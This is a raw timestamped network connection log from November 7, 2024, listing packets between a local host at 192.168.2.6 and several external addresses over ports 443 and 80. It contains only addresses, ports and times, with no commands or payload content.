Nov 7, 2024 17:25:12.277179956 CET	49724	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.277185917 CET	443	49724	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.292170048 CET	443	49722	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.292613029 CET	49722	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.292638063 CET	443	49722	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.293066025 CET	49722	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.293072939 CET	443	49722	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.405085087 CET	443	49725	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.405163050 CET	443	49725	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.405237913 CET	49725	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.405436039 CET	49725	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.405461073 CET	443	49725	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.405473948 CET	49725	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.405479908 CET	443	49725	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.407772064 CET	443	49723	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.407844067 CET	443	49723	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.407943964 CET	49723	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.408056021 CET	49723	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.408056021 CET	49723	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.408076048 CET	443	49723	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.408085108 CET	443	49723	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.409512043 CET	49726	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.409554005 CET	443	49726	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.409643888 CET	49726	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.409944057 CET	49726	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.409956932 CET	443	49726	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.411170959 CET	49727	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.411200047 CET	443	49727	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.411261082 CET	49727	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.411370993 CET	49727	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.411386013 CET	443	49727	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.412830114 CET	443	49721	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.412909031 CET	443	49721	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.412938118 CET	443	49724	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.412986040 CET	49721	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.412993908 CET	443	49724	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.413043022 CET	49724	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.413121939 CET	49724	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.413121939 CET	49724	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.413135052 CET	443	49724	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.413144112 CET	443	49724	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.414058924 CET	49721	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.414072990 CET	443	49721	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.414120913 CET	49721	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.414128065 CET	443	49721	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.416217089 CET	49728	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.416228056 CET	443	49728	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.416281939 CET	49728	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.416460037 CET	49728	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.416472912 CET	443	49728	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.417305946 CET	49729	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.417331934 CET	443	49729	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.417414904 CET	49729	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.417676926 CET	49729	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.417687893 CET	443	49729	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.431039095 CET	443	49722	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.431752920 CET	443	49722	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.431813002 CET	49722	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.431848049 CET	49722	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.431866884 CET	443	49722	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.431876898 CET	49722	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.431883097 CET	443	49722	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.437868118 CET	49730	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.437885046 CET	443	49730	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.437936068 CET	49730	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.438210011 CET	49730	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:12.438220024 CET	443	49730	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:12.650806904 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:12.651113033 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:12.906004906 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:13.135445118 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:13.447995901 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:13.940023899 CET	443	49709	173.222.162.64	192.168.2.6
Nov 7, 2024 17:25:13.940216064 CET	49709	443	192.168.2.6	173.222.162.64
Nov 7, 2024 17:25:13.941653013 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:13.941663027 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:13.941672087 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:13.948210001 CET	443	49709	173.222.162.64	192.168.2.6
Nov 7, 2024 17:25:13.948273897 CET	49709	443	192.168.2.6	173.222.162.64
Nov 7, 2024 17:25:14.067358017 CET	443	49730	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.068058014 CET	49730	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.068089008 CET	443	49730	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.068583012 CET	49730	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.068588018 CET	443	49730	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.069485903 CET	443	49729	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.069921017 CET	49729	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.069943905 CET	443	49729	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.070300102 CET	443	49728	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.070327997 CET	49729	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.070334911 CET	443	49729	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.070544958 CET	49728	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.070550919 CET	443	49728	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.070890903 CET	49728	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.070894957 CET	443	49728	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.076278925 CET	443	49727	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.076647043 CET	49727	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.076661110 CET	443	49727	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.077042103 CET	49727	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.077048063 CET	443	49727	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.092586040 CET	443	49726	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.093131065 CET	49726	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.093141079 CET	443	49726	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.093504906 CET	49726	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.093509912 CET	443	49726	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.179651022 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.179666996 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.179677963 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.179687977 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.179701090 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.179712057 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.179723978 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.179735899 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.179748058 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.179874897 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.179876089 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.180125952 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.180244923 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.180270910 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.180304050 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.180385113 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.180397034 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.180695057 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.180695057 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.180695057 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.180695057 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.196455956 CET	443	49730	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.197012901 CET	443	49730	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.197089911 CET	49730	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.197221994 CET	49730	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.197221994 CET	49730	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.197237968 CET	443	49730	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.197246075 CET	443	49730	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.199990988 CET	443	49729	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.200232029 CET	443	49729	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.200304031 CET	49729	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.200527906 CET	443	49728	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.200577021 CET	49731	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.200608969 CET	443	49731	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.200793028 CET	49731	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.200927019 CET	49731	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.200937033 CET	443	49731	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.201025963 CET	49729	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.201034069 CET	443	49729	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.201049089 CET	49729	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.201052904 CET	443	49729	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.201085091 CET	443	49728	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.201128006 CET	49728	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.202251911 CET	49728	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.202256918 CET	443	49728	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.202277899 CET	49728	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.202282906 CET	443	49728	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.204587936 CET	49732	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.204612017 CET	443	49732	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.204710007 CET	49732	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.204891920 CET	49732	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.204900980 CET	443	49732	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.206063986 CET	49733	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.206104994 CET	443	49733	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.206170082 CET	49733	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.206273079 CET	49733	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.206285000 CET	443	49733	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.206743956 CET	443	49727	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.206887960 CET	443	49727	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.206932068 CET	49727	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.206954956 CET	49727	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.206959009 CET	443	49727	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.206974030 CET	49727	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.206976891 CET	443	49727	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.209371090 CET	49734	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.209381104 CET	443	49734	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.209444046 CET	49734	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.209558010 CET	49734	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.209572077 CET	443	49734	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.223042011 CET	443	49726	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.223112106 CET	443	49726	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.223210096 CET	49726	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.227332115 CET	49726	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.227344990 CET	443	49726	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.228064060 CET	49726	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.228070974 CET	443	49726	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.230906010 CET	49735	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.230937004 CET	443	49735	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.231023073 CET	49735	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.231200933 CET	49735	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:14.231211901 CET	443	49735	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:14.300951958 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.300976038 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.300987959 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.301076889 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.301088095 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.301098108 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.301162004 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.301162004 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.301162004 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.301162004 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.301616907 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.301628113 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.301639080 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.301719904 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.301719904 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.301827908 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.301839113 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.301851034 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.301862001 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.302350044 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.302350044 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.302388906 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.302603006 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.302779913 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.302779913 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.309036970 CET	49736	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:14.309060097 CET	443	49736	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:14.309191942 CET	49736	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:14.309777021 CET	49736	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:14.309787035 CET	443	49736	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:14.422558069 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.422573090 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.422584057 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.422626019 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.422661066 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.423018932 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.423065901 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.423079014 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.423130035 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.423130035 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.423218012 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.423228979 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.423307896 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.423701048 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.423712969 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.423722982 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.423758030 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.423827887 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.423863888 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.423917055 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.423933029 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.423945904 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.423958063 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.423983097 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.424076080 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.424141884 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.544337988 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.544356108 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.544369936 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.544404030 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.544456959 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.544768095 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.544805050 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.544810057 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.544821978 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.544847965 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.544862032 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.544874907 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.544887066 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.544898987 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.544918060 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.544943094 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.545382023 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.545429945 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.545484066 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.545505047 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.545521975 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.545541048 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.545603991 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.545620918 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.545633078 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.545643091 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.545671940 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.665894985 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.665942907 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.665955067 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.665977955 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.665977955 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.666003942 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.666706085 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.666718960 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.666729927 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.666749001 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.666763067 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.666773081 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.666774035 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.666786909 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.666799068 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.666857958 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.666857958 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.667233944 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.667260885 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.667273998 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.667298079 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.667319059 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.667335987 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.667381048 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.667424917 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.667819023 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.667872906 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.668160915 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.668211937 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.788345098 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.788361073 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.788372040 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.788481951 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.788655996 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.788667917 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.788783073 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.788820028 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.788831949 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.788888931 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.788985968 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.788997889 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.789010048 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.789022923 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.789043903 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.789061069 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.789120913 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.789603949 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.789616108 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.789669037 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.789757967 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.789800882 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.789973974 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.790014982 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.790119886 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.790132999 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.790143013 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.790184021 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.790240049 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.909898996 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.909914017 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.909924030 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.909935951 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.909949064 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.910012007 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.910056114 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.910178900 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.910223961 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:14.910243034 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.910254002 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.910273075 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.910284996 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:14.910300970 CET	49715	80	192.168.2.6	95.215.204.182
